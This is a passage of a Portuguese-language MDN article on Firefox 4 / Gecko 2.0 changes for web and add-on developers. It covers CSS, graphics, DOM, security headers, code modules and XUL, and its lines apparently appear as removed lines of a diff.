- <li>A pseudoclasse <a href="/pt-PT/docs/Web/CSS/:required" title="The documentation about this has not yet been written; please consider contributing!"><code>:required</code></a> é agora automaticamente aplicada aos campos <a href="/pt-PT/docs/Web/HTML/Element/input" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;input&gt;</code></a> que especificam o atributo requerido; a pseudoclasse <a href="/pt-PT/docs/Web/CSS/:optional" title="The documentation about this has not yet been written; please consider contributing!"><code>:optional</code></a> é aplicada a todos os outros campos.</li>
- <li>A pseudoclasse <a href="/pt-PT/docs/Web/CSS/:-moz-placeholder" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-placeholder</code></a> foi adicionada para permitir a estilização de campos de texto em formulários.</li>
- <li>A pseudoclasse <a href="/pt-PT/docs/Web/CSS/:-moz-handler-crashed" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-handler-crashed</code></a> foi adicionada; ela estiliza elementos cujos plugins tenham quebrado.</li>
- <li>A funcionalidade de mídia <code><a href="/En/CSS/Media_queries#-moz-device-pixel-ratio" title="En/CSS/Media queries#-moz-device-pixel-ratio">-moz-device-pixel-ratio</a></code> foi adicionada, permitindo o uso de pixels do dispositivo pela taxa de pixels CSS a ser usada em <a href="/Pt/CSS/Consulta_de_mídia" title="Pt/CSS/Consulta de mídia">Consultas de Mídia</a>.</li>
- <li>A nova propriedade <code><a href="../../../../en/CSS/-moz-font-feature-settings" rel="custom nofollow">-moz-font-feature-settings</a></code> permite que você customize características avançadas das fontes, de fontes OpenType.</li>
- <li>A maneira com que o Gecko lida com o <a href="../../../../en/CSS-2_Quick_Reference/Units" rel="internal">CSS units</a> foi revisada para melhorar a compatibilidade com outros navegadores e para traduzir comprimentos absolutos mais acuradamente na contagem de pixels da tela baseado na DPI do dispositivo.</li>
-</ul>
-
-<h3 id="Gráficos_e_vídeo">Gráficos e vídeo</h3>
-
-<dl>
- <dt></dt>
- <dt><a href="/en/WebGL" title="en/WebGL">WebGL</a></dt>
- <dd>O padrão de desenvolvimento WebGL é agora suportado pelo Firefox.</dd>
- <dt>Otimização da performance gráfica</dt>
- <dd>Dicas e truques para conseguir a melhor performance gráfica e de vídeo no Firefox 4.</dd>
- <dt><a href="/pt/Suporte_a_videos_WebM" title="pt/Suporte a videos WebM">Suporte a vídeos WebM</a></dt>
- <dd>O novo formato aberto de vídeo <a class="external" href="http://www.webmproject.org/" title="http://www.webmproject.org/">WebM</a> é suportado pelo Gecko 2.0; o suporte está incluído em nightlies desde 9 de junho.</dd>
- <dt>Animação SVG com SMIL</dt>
- <dd>O suporte a animações SMIL do SVG está agora disponível.</dd>
- <dt>Usando SVG como imagens e como fundos de tela CSS</dt>
- <dd>Você pode agora usar o SVG com o elemento <a href="/pt-PT/docs/Web/HTML/Element/img" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;img&gt;</code></a>, assim como com a propriedade <code><a href="../../../../en/CSS/background-image" rel="custom nofollow">background-image</a></code> do CSS.</dd>
- <dt>Suporte ao atributo de mídia <code>buffered</code></dt>
- <dd>O atributo <code>buffered</code> nos elementos <a href="/pt-PT/docs/Web/HTML/Element/video" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;video&gt;</code></a> e <a href="/pt-PT/docs/Web/HTML/Element/audio" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;audio&gt;</code></a> é agora suportado, permitindo a determinação de quais faixas de um arquivo de mídia foram carregadas. A interface <a href="/pt-PT/docs/Web/API/TimeRanges" title="The documentation about this has not yet been written; please consider contributing!"><code>TimeRanges</code></a> do DOM foi implementada para suportar isto.</dd>
- <dt>Atributo de mídia <code>preload</code></dt>
- <dd>O atributo <code>preload</code> da especificação do HTML5 foi implementado, substituindo o atributo anteriormente implementado (e não mais suportado) <code>autobuffer</code>. Isto afeta os elementos <a href="/pt-PT/docs/Web/HTML/Element/video" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;video&gt;</code></a> e <a href="/pt-PT/docs/Web/HTML/Element/audio" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;audio&gt;</code></a>, assim como a interface <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMHTMLMediaElement" title="">nsIDOMHTMLMediaElement</a></code>.</dd>
- <dt>Melhoramentos no posicionamento de texto SVG</dt>
- <dd>Agora é possível especificar listas para os valores das propriedades <code>x</code>, <code>y</code>, <code>dx</code> e <code>dy</code> nos elementos <a href="/pt-PT/docs/Web/SVG/Element/text" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;text&gt;</code></a> e <a href="/pt-PT/docs/Web/SVG/Element/tspan" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;tspan&gt;</code></a> do SVG. Isto permite controlar o posicionamento de cada caractere individualmente em uma <em>string</em>.</dd>
-</dl>
-
-<h3 id="DOM">DOM</h3>
-
-<dl>
- <dt><a href="/en/JavaScript_typed_arrays" title="en/JavaScript typed arrays">Arrays com tipos JavaScript</a></dt>
- <dd>Foi adicionado suporte para os arrays com tipos JavaScript; eles permitem a manipulação de buffers contendo dados em raw usando tipos de dados nativos. Muitas API fazem uso disto, incluindo <a href="/en/DOM/File" title="en/DOM/File">File API</a>, <a href="/en/WebGL" title="en/WebGL">WebGL</a>, e <a href="/en/WebSockets" title="en/WebSockets">WebSockets</a>.</dd>
- <dt>Obtenção de limites de retângulos para <em>ranges</em></dt>
- <dd>O objeto <a href="/pt-PT/docs/Web/API/Range" title="The documentation about this has not yet been written; please consider contributing!"><code>Range</code></a> agora possui os métodos <a href="/pt-PT/docs/Web/API/Range/getClientRects" title="The documentation about this has not yet been written; please consider contributing!"><code>range.getClientRects()</code></a> e <a href="/pt-PT/docs/Web/API/Range/getBoundingClientRect" title="The documentation about this has not yet been written; please consider contributing!"><code>range.getBoundingClientRect()</code></a>.</dd>
- <dt>Captura de eventos de mouse em elementos arbitrários</dt>
- <dd>O suporte para as APIs <code>setCapture()</code> e <code>releaseCapture()</code> originadas do Internet Explorer foram adicionadas. Veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=503943" title="FIXED: Need a way to grab mouse events on arbitrary elements (implement setCapture/releaseCapture)">bug 503943</a>.</dd>
- <dt><a href="/pt/DOM/Manipulação_do_histórico_do_navegador" title="pt/DOM/Manipulação do histórico do navegador">Manipulação do histórico do navegador</a></dt>
- <dd>O objeto de histórico de documento existente, disponível através do objeto <a href="/pt-PT/docs/Web/API/Window/history" title="The documentation about this has not yet been written; please consider contributing!"><code>window.history</code></a> agora suporta os novos métodos <code>pushState()</code> e <code>replaceState()</code> do HTML5.</dd>
- <dt><a href="/pt/DOM/Animações_usando_o_MozBeforePaint" title="pt/DOM/Animações usando o MozBeforePaint">Animações usando o MozBeforePaint</a></dt>
- <dd>Um novo evento foi adicionado, o qual combinado com o método <a href="/pt-PT/docs/Web/API/Window/mozRequestAnimationFrame" title="The documentation about this has not yet been written; please consider contributing!"><code>window.mozRequestAnimationFrame()</code></a> e a propriedade <a href="/pt-PT/docs/Web/API/Window/mozAnimationStartTime" title="The documentation about this has not yet been written; please consider contributing!"><code>window.mozAnimationStartTime</code></a>, proporciona uma maneira de criar animações sincronizadas uma com a outra.</dd>
- <dt>Eventos de toque e multi-toque</dt>
- <dd>Foi adicionado suporte ao evetos de toque e multi-toque.</dd>
- <dt></dt>
-</dl>
-
-<h4 id="A_interface_DOM_dos_elementos_HTML_mudou">A interface DOM dos elementos HTML mudou</h4>
-
-<p>Muitos elementos do HTML tiveram suas interfaces DOM mudadas para aquelas requisitadas pela especificação do HTML5, como mostrado abaixo.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <td class="header">Interface no Firefox 3.6</td>
- <td class="header">Interface no Firefox 4</td>
- <td class="header">Elemento HTML</td>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code><a href="/en/DOM/HTMLSpanElement" title="en/DOM/HTMLSpanElement">HTMLSpanElement</a></code></td>
- <td><code><a href="/en/DOM/HTMLElement" title="en/DOM/HTMLElement">HTMLElement</a></code></td>
- <td><a href="/pt-PT/docs/Web/HTML/Element/abbr" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;abbr&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/acronym" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;acronym&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/address" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;address&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/b" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;b&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/bdo" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;bdo&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/big" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;big&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/blink" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;blink&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/center" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;center&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/cite" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;cite&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/code" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;code&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/dd" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;dd&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/dfn" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;dfn&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/dt" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;dt&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/em" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;em&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/i" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;i&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/kbd" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;kbd&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/listing" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;listing&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/nobr" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;nobr&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/plaintext" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;plaintext&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/s" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;s&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/samp" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;samp&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/small" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;small&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/strike" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;strike&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/strong" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;strong&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/sub" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;sub&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/sup" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;sup&gt;</code></a>, , <a href="/pt-PT/docs/Web/HTML/Element/tt" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;tt&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/u" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;u&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/var" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;var&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/xmp" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;xmp&gt;</code></a></td>
- </tr>
- <tr>
- <td><code><a href="/en/DOM/HTMLDivElement" title="en/DOM/HTMLDivElement">HTMLDivElement</a></code></td>
- <td><code><a href="/en/DOM/HTMLElement" title="en/DOM/HTMLElement">HTMLElement</a></code></td>
- <td><a href="/pt-PT/docs/Web/HTML/Element/noembed" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;noembed&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/noframes" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;noframes&gt;</code></a>, <a href="/pt-PT/docs/Web/HTML/Element/noscript" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;noscript&gt;</code></a></td>
- </tr>
- <tr>
- <td><code><a href="/en/DOM/HTMLWBRElement" title="en/DOM/HTMLWBRElement">HTMLWBRElement</a></code></td>
- <td><code><a href="/en/DOM/HTMLElement" title="en/DOM/HTMLElement">HTMLElement</a></code></td>
- <td><a href="/pt-PT/docs/Web/HTML/Element/wbr" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;wbr&gt;</code></a></td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="Modificações_DOM_diversas">Modificações DOM diversas</h4>
-
-<ul>
- <li>O "envoltório" de um elemento <a href="/pt-PT/docs/Web/HTML/Element/textarea" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;textarea&gt;</code></a> agora pode ser controlado a partir do DOM, através do atributo <code>wrap</code> do DOM. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=41464" title="FIXED: textarea.wrap not exposed through DOM (IE compatability)">bug 41464</a></li>
- <li>Elementos <a href="/pt-PT/docs/Web/HTML/Element/script" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;script&gt;</code></a> criados usando <a href="/pt-PT/docs/Web/API/Document/createElement" title="The documentation about this has not yet been written; please consider contributing!"><code>document.createElement</code></a>  e inseridos em um documento agora comportam-se de acordo com a especificação do HTML5 por padrão. <em>Scripts</em> com o atributo <code>src</code> são executados assim que possível (sem manter o ordenamento) enquanto <em>scripts</em> sem o atributo <code>src </code>são executados sincronamente. Para fazer com que <em>scripts</em> inseridos com o atributo <code>src</code> sejam executados na ordem de inserção, configure-os com <code>.async=false</code>.</li>
- <li>Os objetos <a href="/pt-PT/docs/Web/API/File" title="The documentation about this has not yet been written; please consider contributing!"><code>file</code></a> do DOM agora oferecem a propriedade <code>url</code>.</li>
- <li>Suporte para <a href="/En/XMLHttpRequest/Using_XMLHttpRequest#Using_FormData_objects" title="en/XMLHttpRequest/Using XMLHttpRequest#Using FormData objects">FormData</a> para XMLHttpRequest.</li>
- <li>A propriedade <a href="/pt-PT/docs/Web/API/Element/isContentEditable" title="The documentation about this has not yet been written; please consider contributing!"><code>element.isContentEditable</code></a> foi implementada.</li>
- <li>A propriedade <a href="/pt-PT/docs/Web/API/Document/currentScript" title="The documentation about this has not yet been written; please consider contributing!"><code>document.currentScript</code></a> permite determinar qual elemento <a href="/pt-PT/docs/Web/HTML/Element/script" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;script&gt;</code></a> do <em>script</em> está sendo executado no momento. O novos eventos <a href="/pt-PT/docs/Web/API/Document/onbeforescriptexecute" title="The documentation about this has not yet been written; please consider contributing!"><code>document.onbeforescriptexecute</code></a> e <a href="/pt-PT/docs/Web/API/Document/onafterscriptexecute" title="The documentation about this has not yet been written; please consider contributing!"><code>document.onafterscriptexecute</code></a> são lançados antes e depois de um elemento <em>script</em> ser executado.</li>
- <li>Adicionada a propriedade <a href="/En/DragDrop/DataTransfer#mozSourceNode" title="En/DragDrop/DataTransfer#mozSourceNode"><code>mozSourceNode</code></a> ao objeto <a href="/En/DragDrop/DataTransfer" title="En/DragDrop/DataTransfer"><code>DragTransfer</code></a>.</li>
- <li>Adicionado o método <a href="/en/DOM/Selection/modify" title="en/DOM/selection/modify"><code>selection.modify()</code></a> ao objeto <a href="/pt-PT/docs/Web/API/Selection" title="The documentation about this has not yet been written; please consider contributing!"><code>Selection</code></a>; ele permite a fácil alteração da seleção de texto atual ou da posição do cursor em uma janela do navegador.</li>
- <li>O suporte para o objeto <code>window.directories</code> e para a característica <code>directories</code> de <a href="/pt-PT/docs/Web/API/Window/open" title="The Window interface's open() method loads the specified resource into the browsing context (window, &lt;iframe> or tab) with the specified name. If the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context."><code>window.open</code></a>, qua não são suportadas em nenhum outro navegador, foi  removido. Ao invés dela, use <code>personalbar</code>. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=474058" title="FIXED: Drop support for window.directories">bug 474058</a></li>
- <li>A propriedade <a href="/pt-PT/docs/Web/API/Event/mozInputSource" title="The documentation about this has not yet been written; please consider contributing!"><code>event.mozInputSource</code></a> foi adicionada aos eventos de interface de usuário do DOM; esta propriedade não-padrão permite a determinação do tipo de dispositivo que gerou um evento.</li>
- <li>O evento <a href="/pt-PT/docs/Web/API/Document/onreadystatechange" title="The documentation about this has not yet been written; please consider contributing!"><code>document.onreadystatechange</code></a> foi implementado.</li>
- <li>O método <a href="/pt-PT/docs/Web/API/Document/createElement" title="The documentation about this has not yet been written; please consider contributing!"><code>document.createElement</code></a> não aceita mais a tag nome entre <code>&lt;</code> e <code>&gt;</code> no modo <em>quirk</em>.</li>
- <li>Os métodos <a href="/pt-PT/docs/Web/API/Element/setCapture" title="The documentation about this has not yet been written; please consider contributing!"><code>element.setCapture()</code></a> e <a href="/pt-PT/docs/Web/API/Document/releaseCapture" title="The documentation about this has not yet been written; please consider contributing!"><code>document.releaseCapture()</code></a> foram adicionados, permitindo aos elementos continuar a monitorar os eventos do mouse, mesmo quando o mouse está fora da área normal de monitoramento após a ocorrência de um evento <code>mousedown</code>.</li>
- <li>A propriedade <a href="/pt-PT/docs/Web/API/Window/mozPaintCount" title="The documentation about this has not yet been written; please consider contributing!"><code>window.mozPaintCount</code></a> foi adicionada; ela permite a determinação de quantas vezes um documento foi pintado. Isto pode ser útil no teste de performance de suas aplicações web.</li>
- <li>O <em>token</em> de língua foi removido de <a href="/pt-PT/docs/Web/API/Window/navigator/appVersion" title="The documentation about this has not yet been written; please consider contributing!"><code>window.navigator.appVersion</code></a> e <a href="/pt-PT/docs/Web/API/Window/navigator/userAgent" title="The documentation about this has not yet been written; please consider contributing!"><code>window.navigator.userAgent</code></a>. Ao invés deles, use o <a href="/pt-PT/docs/Web/API/Window/navigator/language" title="The documentation about this has not yet been written; please consider contributing!"><code>window.navigator.language</code></a> ou o <a href="/en/Content_negotiation" title="en/Content negotiation">Accept-Language header</a>.  <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=572656" title="FIXED: Remove the UI language from the UA string and navigator.appVersion">bug 572656</a></li>
- <li>O objeto <a href="/en/XMLHttpRequest" title="en/XMLHttpRequest">XMLHttpRequest</a> agora expõe a resposta como um <em>array</em> digitado em JavaScript, assim como uma <em>string</em>, usando a propriedade <code>mozResponseArrayBuffer</code> específica do Gecko.</li>
- <li><a href="/en/DOM/Event/UIEvent/MouseEvent" title="en/DOM/Event/UIEvent/MouseEvent">Eventos de mouse</a> agora incluem uma propriedade <code>mozPressure</code> indicando a quantidade de pressão em dispositivos de entrada sensíveis a pressão, suportados.</li>
- <li>Os métodos <a href="/pt-PT/docs/Web/API/Window/URL/createObjectURL" title="The documentation about this has not yet been written; please consider contributing!"><code>window.URL.createObjectURL()</code></a> e <a href="/pt-PT/docs/Web/API/Window/URL/revokeObjectURL" title="The documentation about this has not yet been written; please consider contributing!"><code>window.URL.revokeObjectURL()</code></a> permitem a criação de objetos URL que referenciem arquivos locais.</li>
- <li>O método <code><a href="../../../../en/DOM/DOMImplementation.createHTMLDocument" rel="custom nofollow">DOMImplementation.createHTMLDocument()</a></code> permite a criação de novos documentos HTML.</li>
- <li><a href="/pt-PT/docs/Web/API/Node/mozMatchesSelector" title="The documentation about this has not yet been written; please consider contributing!"><code>Node.mozMatchesSelector()</code></a> agora lança uma exceção <code>SYNTAX_ERR</code> se o seletor de <em>string</em> selecionado for inválido, ao invés de, incorretamente, retornar <code>false</code>.</li>
- <li>Agora é possível selecionar valores de propriedades em um elemento SVG usando a mesma sintaxe econômica do CSS. Por exemplo: <code>element.style.fill = 'lime'</code>. Veja <a href="/pt-PT/docs/Web/API/Element/style" title="The documentation about this has not yet been written; please consider contributing!"><code>element.style</code></a> para detalhes.</li>
- <li>A raiz do documento agora possui <a href="/En/Supporting_private_browsing_mode#Detecting_whether_private_browsing_mode_is_permanent" title="En/Supporting private browsing mode#Detecting whether private browsing mode is permanent">um atributo <code>privatebrowsingmode</code></a> que descreve o estado do modo de navegação privada, incluindo uma indicação se a navegação privada é temporária ou permanente para a sessão.</li>
- <li>Agora o segundo parâmetro do método <a href="/pt-PT/docs/Web/API/Window/getComputedStyle" title="The documentation about this has not yet been written; please consider contributing!"><code>window.getComputedStyle()</code></a> é opcional, assim como em qualquer outro navegador grande.</li>
- <li>Agora o objeto <a href="/en/DOM/event/StorageEvent" title="en/DOM/event/StorageEvent"><code>StorageEvent</code></a> do DOM está de acordo com a última versão da especificação.</li>
- <li>O atraso mínimo permitido para o método <a href="/pt-PT/docs/Web/API/Window/setTimeout" title="The documentation about this has not yet been written; please consider contributing!"><code>window.setTimeout()</code></a> é agora uma preferência, <code>dom.min_timeout_value</code>.</li>
- <li>O evento <a href="/en/Gecko-Specific_DOM_Events#MozAfterPaint" title="en/Gecko-Specific DOM Events#MozAfterPaint"><code>MozAfterPaint</code></a> não é mais enviado por padrão, devido uma potencial questão de segurança. Ele pode ser reabilitado configurando a preferência.</li>
-</ul>
-
-<h3 id="Segurança">Segurança</h3>
-
-<dl>
-</dl>
-
-<dl>
- <dt><a href="/en/Security/PSC" title="en/Security/PSC">Política de Segurança de Conteúdo (CSP)</a></dt>
- <dd>A Política de Segurança de Conteúdo (Content Security Policy - CSP) é uma proposta da Mozilla desenvolvida para ajudar web designers e administradores de servidores a especificar como o conteúdo em seus sites interage. A meta é ajudar a detectar e abrandar ataques, incluindo <em>cross-site scripting</em> e ataques de injeção de dados.</dd>
- <dt><a href="/en/Security/HTTP_Strict_Transport_Security" title="en/Security/HTTP Strict Transport Security">Segurança de Transporte do HTTP Estrito (HTTP Strict Transport Security)</a></dt>
- <dd>A Segurança de Transporte de HTTP Estrito é uma característica que permite a um website dizer ao navegador que ele deve ser comunicado somente usando HTTPS, ao invés de HTTP.</dd>
- <dt><a href="/en/The_X-FRAME-OPTIONS_response_header" title="en/The X-FRAME-OPTIONS response header">O cabeçalho de resposta (The X-FRAME-OPTIONS response header)</a></dt>
- <dd>O cabeçalho de resposta HTTP, X-FRAME-OPTIONS, introduzido no Internet Explorer 8 é agora suportado pelo Firefox. Isto permite a sites indicar quando suas páginas devem ou não ser usadas em quadros (frames), e, em caso afirmativo, se deve ou não restringir isto à mesma origem.</dd>
- <dt>Mudanças na <a href="/En/User_Agent_Strings_Reference" title="En/User_Agent_Strings_Reference">string de Agente de Usuário (User Agent string)</a> changes</dt>
- <dd>Como um meio para reduzir a quantidade de dados e entropia descartada em requisições HTTP (veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=572650" title="[meta] Reduce the amount of data and entropy sent out in HTTP requests">bug 572650</a>) a força da criptografia e tokens de linguagem foram removidos pela string do agente de usuário.</dd>
-</dl>
-
-<h3 id="JavaScript">JavaScript</h3>
-
-<p>Para uma visão geral das mudanças implementadas em JavaScript 1.8.5, veja <a href="/pt/Novidades_no_JavaScript_1.8.5" title="pt/Novidades no JavaScript 1.8.5">Novidades no JavaScript 1.8.5</a>. O JavaScript no Firefox 4 terá aderência adicional ao padrão ECMAScript 5.</p>
-
-<h3 id="Ferramentas_para_desenvolvedores">Ferramentas para desenvolvedores</h3>
-
-<dl>
- <dt><a href="/pt/Usando_o_Web_Console" title="pt/Usando o Web Console">Usando o Web Console</a></dt>
- <dd>A ferramenta Web Console é um depurador útil para ajudar desenvolvedores web, assim como, desenvolvedores de extensões.</dd>
-</dl>
-
-<div class="geckoVersionNote">
-<div class="geckoVersionHeading">
-Gecko 2.0 note
-<div style="font-size: 9px; line-height: 1; font-style: italic;">(Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1)</div>
-</div>
-
-<p>O Console de Erros está inicialmente desabilitado por padrão no Firefox 4. Você pode reabilitá-lo mudando a preferência <code>devtools.errorconsole.enabled</code> para <code>true</code> e reiniciando seu navegador.</p>
-</div>
-
-<h2 id="Mudanças_para_desenvolvedores_Mozilla_e_de_complementos">Mudanças para desenvolvedores Mozilla e de complementos</h2>
-
-<p>Para dicas úteis sobre a atualização de extensões existentes para o Firefox 4, veja <a href="/pt/Extensões/Atualizando_extensões_para_o_Firefox_4" title="pt/Extensões/Atualizando extensões para o Firefox 4">Atualizando extensões para o Firefox 4</a>. Existem muitas mudanças de chaves que quebram a compatibilidade com complementos existentes, então certifique-se de ler este artigo.</p>
-
-<p>Se você é um desenvolvedor de temas, você deve ler <a href="/en/Theme_changes_in_Firefox_4" title="en/Theme changes in Firefox 4">Mudanças nos temas do Firefox 4</a> (en) para entender algumas mudanças críticas, às quais é necessário estar ciente.</p>
-
-<h3 id="Módulos_de_codificação_JavaScript">Módulos de codificação JavaScript</h3>
-
-<dl>
- <dt><a href="/en/JavaScript_code_modules/Services.jsm" title="en/JavaScript code modules/Services.jsm">Services.jsm</a></dt>
- <dd>O módulo de código<code> Services.jsm</code> fornece "getters" que tornam mais fácil a obtenção de referências a serviços comumente usados, como o serviço de preferências ou o mediador de janelas, entre outros.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en/JavaScript_code_modules/ctypes.jsm" title="en/JavaScript code modules/ctypes.jsm">JS-ctypes API</a></dt>
- <dd>A API JS-ctypes torna possível chamar funções de fora da biblioteca compatível com C, sem precisar usar o XPCOM.</dd>
- <dt><a href="/pt/Complementos/Gerenciador_de_Complementos" title="pt/Complementos/Gerenciador de Complementos">Gerenciador de Complementos</a></dt>
- <dd>O Gerenciador de Complementos fornece informações sobre complementos instalados, suporte à gerência dos mesmos e fornece maneiras para instalar e remover complementos.</dd>
- <dt><a href="/en/JavaScript_code_modules/PopupNotifications.jsm" title="en/JavaScript code modules/PopupNotifications.jsm">PopupNotifications.jsm</a></dt>
- <dd>O novo módulo de notificações popup torna fácil apresentar notificações atrativas, não modais para o usuário. Você pode ver como usar esta API em <a href="/en/Using_popup_notifications" title="en/Using popup notifications">Usando notificações de popup</a> (en).</dd>
- <dt><a href="/en/JavaScript_code_modules/Using#Locating_the_code_module" title="en/JavaScript code modules/Using JavaScript code modules#Locating the code module">Carregando módulos de código a partir de URL chrome:</a> (en)</dt>
- <dd>Você pode agora carregar módulos JavaScript usando URL <strong>chrome:</strong>, mesmo dentro de arquivos JAR.</dd>
- <dt>DownloadLastDir.jsm</dt>
- <dd>O módulo de código <a href="/en/JavaScript_code_modules/DownloadLastDir.jsm" title="en/JavaScript/Code modules/DownloadLastDir.jsm"><code>DownloadLastDir.jsm</code></a> fornece a variável global, a qual contém uma string que pode ser usada para aprender o caminho do diretório no qual ocorreu o último download. Este módulo lida com questões relacionadas a privacidade de navegação do usuário.</dd>
- <dt><a href="/en/Performance/Measuring_performance_using_the_PerfMeasurement.jsm_code_module" title="en/Performance/Measuring performance using the PerfMeasurement.jsm code module">Medindo a performance usando o módulo de código PerfMeasurement.jsm</a> (en)</dt>
- <dd>O módulo de código <a href="/en/JavaScript_code_modules/PerfMeasurement.jsm" title="en/JavaScript code modules/PerfMeasurement.jsm"><code>PerfMeasurement.jsm</code></a> proporciona uma API para mensurar a performance dos dados a nível de CPU no código JavaScript.</dd>
-</dl>
-
-<h4 id="Mudanças_diversas_aos_módulos_de_código">Mudanças diversas aos módulos de código</h4>
-
-<ul>
- <li>O módulo de código <code>NetUtil.jsm</code> agora oferece o método <a href="/en/JavaScript_code_modules/NetUtil.jsm#readInputStreamToString%28%29" title="en/JavaScript/Code modules/NetUtil.jsm#readInputStreamToString()"><code>readInputStreamToString()</code></a>, o qual permite a leitura de bytes arbitrários de uma "stream" em uma string, mesmo se a "stream" incluir zeros.</li>
- <li>Você agora pode <a href="/en/JavaScript_code_modules/Using_workers_in_JavaScript_code_modules" title="en/JavaScript code modules/Using workers in JavaScript code modules">usar workers em módulos de código JavaScript</a> (en).</li>
-</ul>
-
-<h3 id="Mudanças_no_DOM">Mudanças no DOM</h3>
-
-<dl>
-</dl>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/API/ChromeWorker" title="The documentation about this has not yet been written; please consider contributing!"><code>ChromeWorker</code></a></dt>
- <dd>Um novo tipo de <em>worker</em> para código privilegiado; ele permite o uso de coisas como <a href="/en/js-ctypes" title="en/js-ctypes">js-ctypes</a> de <em>workers</em> em extensões e código de aplicações.</dd>
- <dt><a href="/pt/DOM/Eventos_de_toque" title="pt/DOM/Eventos de toque">Eventos de toque</a></dt>
- <dd>Suporte para eventos de toque (não padrões) foi adicionado; isto permite detectar o movimento de múltiplos dedos movendo-se em uma tela ao mesmo tempo.</dd>
-</dl>
-
-<h3 id="XUL">XUL</h3>
-
-<h4 id="Mudanças_no_elemento_tabbrowser">Mudanças no elemento tabbrowser</h4>
-
-<p>Várias mudanças foram feitas ao elemento <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/tabbrowser">&lt;xul:tabbrowser&gt;</a></code> que causam impactos nas extensões que interagem com as abas. Adicionalmente para suportar abas aplicativos, estas mudanças também mudam a barra de abas para uma barra de ferramentas padrão, a qual permite que o usário arraste botões da barra de ferramentas para ela.</p>
-
-<ul>
